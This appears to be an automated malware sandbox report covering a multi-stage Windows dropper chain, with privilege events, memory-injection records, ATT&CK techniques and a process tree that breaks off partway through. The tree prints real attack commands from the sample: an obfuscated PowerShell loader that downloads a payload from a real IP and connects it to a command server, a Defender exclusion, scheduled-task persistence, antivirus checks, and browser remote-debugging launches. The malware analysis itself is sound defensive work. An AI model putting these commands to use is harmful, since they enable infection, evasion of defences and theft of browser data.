Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeDebugPrivilege	3196	k3t05Da.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeDebugPrivilege	4408	k3t05Da.exe
Token: SeShutdownPrivilege	5864	chrome.exe
Token: SeCreatePagefilePrivilege	5864	chrome.exe
Token: SeDebugPrivilege	5360	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	5556	windowscore.exe
Token: SeDebugPrivilege	5548	powershell.exe
Token: SeIncreaseQuotaPrivilege	2472	powershell.exe
Token: SeSecurityPrivilege	2472	powershell.exe
Token: SeTakeOwnershipPrivilege	2472	powershell.exe
Token: SeLoadDriverPrivilege	2472	powershell.exe
Token: SeSystemProfilePrivilege	2472	powershell.exe
Token: SeSystemtimePrivilege	2472	powershell.exe
Token: SeProfSingleProcessPrivilege	2472	powershell.exe
Token: SeIncBasePriorityPrivilege	2472	powershell.exe
Token: SeCreatePagefilePrivilege	2472	powershell.exe
Token: SeBackupPrivilege	2472	powershell.exe
Token: SeRestorePrivilege	2472	powershell.exe
Token: SeShutdownPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeSystemEnvironmentPrivilege	2472	powershell.exe
Token: SeRemoteShutdownPrivilege	2472	powershell.exe
Token: SeUndockPrivilege	2472	powershell.exe
Token: SeManageVolumePrivilege	2472	powershell.exe
Token: 33	2472	powershell.exe
Token: 34	2472	powershell.exe
Token: 35	2472	powershell.exe
Token: 36	2472	powershell.exe
Token: SeDebugPrivilege	432	word.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	568	0000032348.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	8360	powershell.exe
Token: SeLoadDriverPrivilege	5872	tzutil.exe
Token: SeDebugPrivilege	8792	powershell.exe
Token: SeDebugPrivilege	11928	powershell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
5864	chrome.exe
2200	msedge.exe
7984	74511d73f3.exe
7984	74511d73f3.exe
7984	74511d73f3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
4200	Organizations.com
4200	Organizations.com
4200	Organizations.com
7984	74511d73f3.exe
7984	74511d73f3.exe
7984	74511d73f3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
432	word.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 2532	5012	random.exe	82
PID 5012 wrote to memory of 2532	5012	random.exe	82
PID 5012 wrote to memory of 2532	5012	random.exe	82
PID 2532 wrote to memory of 764	2532	G8U31.exe	83
PID 2532 wrote to memory of 764	2532	G8U31.exe	83
PID 2532 wrote to memory of 764	2532	G8U31.exe	83
PID 764 wrote to memory of 1320	764	1P27l3.exe	85
PID 764 wrote to memory of 1320	764	1P27l3.exe	85
PID 764 wrote to memory of 1320	764	1P27l3.exe	85
PID 2532 wrote to memory of 2356	2532	G8U31.exe	86
PID 2532 wrote to memory of 2356	2532	G8U31.exe	86
PID 2532 wrote to memory of 2356	2532	G8U31.exe	86
PID 5012 wrote to memory of 2172	5012	random.exe	88
PID 5012 wrote to memory of 2172	5012	random.exe	88
PID 5012 wrote to memory of 2172	5012	random.exe	88
PID 1320 wrote to memory of 5216	1320	rapes.exe	89
PID 1320 wrote to memory of 5216	1320	rapes.exe	89
PID 5216 wrote to memory of 4436	5216	50KfF6O.exe	91
PID 5216 wrote to memory of 4436	5216	50KfF6O.exe	91
PID 1320 wrote to memory of 2672	1320	rapes.exe	92
PID 1320 wrote to memory of 2672	1320	rapes.exe	92
PID 1320 wrote to memory of 2672	1320	rapes.exe	92
PID 2672 wrote to memory of 2036	2672	zx4PJh6.exe	93
PID 2672 wrote to memory of 2036	2672	zx4PJh6.exe	93
PID 2672 wrote to memory of 2036	2672	zx4PJh6.exe	93
PID 2036 wrote to memory of 3172	2036	CMD.exe	95
PID 2036 wrote to memory of 3172	2036	CMD.exe	95
PID 2036 wrote to memory of 3172	2036	CMD.exe	95
PID 2036 wrote to memory of 1308	2036	CMD.exe	96
PID 2036 wrote to memory of 1308	2036	CMD.exe	96
PID 2036 wrote to memory of 1308	2036	CMD.exe	96
PID 2036 wrote to memory of 5548	2036	CMD.exe	97
PID 2036 wrote to memory of 5548	2036	CMD.exe	97
PID 2036 wrote to memory of 5548	2036	CMD.exe	97
PID 2036 wrote to memory of 5164	2036	CMD.exe	98
PID 2036 wrote to memory of 5164	2036	CMD.exe	98
PID 2036 wrote to memory of 5164	2036	CMD.exe	98
PID 2036 wrote to memory of 1816	2036	CMD.exe	99
PID 2036 wrote to memory of 1816	2036	CMD.exe	99
PID 2036 wrote to memory of 1816	2036	CMD.exe	99
PID 2036 wrote to memory of 4796	2036	CMD.exe	100
PID 2036 wrote to memory of 4796	2036	CMD.exe	100
PID 2036 wrote to memory of 4796	2036	CMD.exe	100
PID 2036 wrote to memory of 1728	2036	CMD.exe	101
PID 2036 wrote to memory of 1728	2036	CMD.exe	101
PID 2036 wrote to memory of 1728	2036	CMD.exe	101
PID 2036 wrote to memory of 3548	2036	CMD.exe	102
PID 2036 wrote to memory of 3548	2036	CMD.exe	102
PID 2036 wrote to memory of 3548	2036	CMD.exe	102
PID 2036 wrote to memory of 4332	2036	CMD.exe	103
PID 2036 wrote to memory of 4332	2036	CMD.exe	103
PID 2036 wrote to memory of 4332	2036	CMD.exe	103
PID 2036 wrote to memory of 4200	2036	CMD.exe	104
PID 2036 wrote to memory of 4200	2036	CMD.exe	104
PID 2036 wrote to memory of 4200	2036	CMD.exe	104
PID 2036 wrote to memory of 2848	2036	CMD.exe	105
PID 2036 wrote to memory of 2848	2036	CMD.exe	105
PID 2036 wrote to memory of 2848	2036	CMD.exe	105
PID 1320 wrote to memory of 3196	1320	rapes.exe	107
PID 1320 wrote to memory of 3196	1320	rapes.exe	107
PID 1320 wrote to memory of 3196	1320	rapes.exe	107
PID 4200 wrote to memory of 5924	4200	Organizations.com	108
PID 4200 wrote to memory of 5924	4200	Organizations.com	108
PID 4200 wrote to memory of 5924	4200	Organizations.com	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4436	attrib.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2908
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5924

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G8U31.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G8U31.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P27l3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P27l3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5216
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
        6⤵
        Views/modifies file attributes
        
        PID:4436
    - - C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2672
      - C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2036
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3172
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1308
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5548
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5164
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 440824
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1816
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Architecture.wmv
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4796
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Offensive" Inter
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1728
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3548
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4332
        
        C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
        
        Organizations.com h
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4200
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4200 -s 940
        8⤵
        Program crash
        
        PID:5604
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2848
    - - C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\File.bat" "
        6⤵
        Drops startup file
        System Location Discovery: System Language Discovery
        
        PID:1456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzE5Ni4yNTEuOTEuNDIvdXAvdXBsb2Fkcy9lbmNyeXB0aW9uMDIuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('httpss.myvnc.com', '1907');"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5240
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ohbuGGy.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2384
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ohbuGGy" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB36.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1220
      - C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
    - - C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:2444
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5864
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ffb05fadcf8,0x7ffb05fadd04,0x7ffb05fadd10
        7⤵
        
        PID:5312
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1872,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1868 /prefetch:2
        7⤵
        
        PID:3512
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2252,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2288 /prefetch:11
        7⤵
        
        PID:6116
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2280,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2416 /prefetch:13
        7⤵
        
        PID:5140
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3292,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3312 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:4712
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3320,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3352 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:5052
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4356,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4320 /prefetch:9
        7⤵
        Uses browser remote debugging
        
        PID:1560
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4640,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4744 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:1564
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5224,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5232 /prefetch:14
        7⤵
        
        PID:396
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5488,i,18030989080117904971,5452131172869839143,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5500 /prefetch:14
        7⤵
        
        PID:3104
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:3272
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch
        7⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:2200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x210,0x7ffaf501f208,0x7ffaf501f214,0x7ffaf501f220
        8⤵
        
        PID:5708
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1872,i,7959259799900506117,9308097033487311997,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
        8⤵
        
        PID:5212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2100,i,7959259799900506117,9308097033487311997,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:2
        8⤵
        
        PID:5596
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2512,i,7959259799900506117,9308097033487311997,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:13
        8⤵
        
        PID:2492
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3440,i,7959259799900506117,9308097033487311997,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3096
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3448,i,7959259799900506117,9308097033487311997,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:5040
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\89r1n" & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4536
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1336
    - - C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5604
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\10288540141\4wAPcC0.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5360
      - C:\Windows\system32\windowspowershell\v1.0\powershell.exe
        
        "C:\Windows\sysnative\windowspowershell\v1.0\powershell.exe"
        6⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
    - - C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4404
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\10291530101\OkH8IPF.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10291530101\OkH8IPF.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4716
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:4792
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:1308
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:684
    - - C:\Users\Admin\AppData\Local\Temp\10293650101\weC48Q7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10293650101\weC48Q7.exe"
        5⤵
        Executes dropped EXE
        
        PID:3048
      - C:\Users\Admin\AppData\Local\Temp\onefile_3048_133871208184903208\windowscore.exe
        
        C:\Users\Admin\AppData\Local\Temp\10293650101\weC48Q7.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:5556
    - - C:\Users\Admin\AppData\Local\Temp\10293930101\ARxx7NW.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10293930101\ARxx7NW.exe"
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
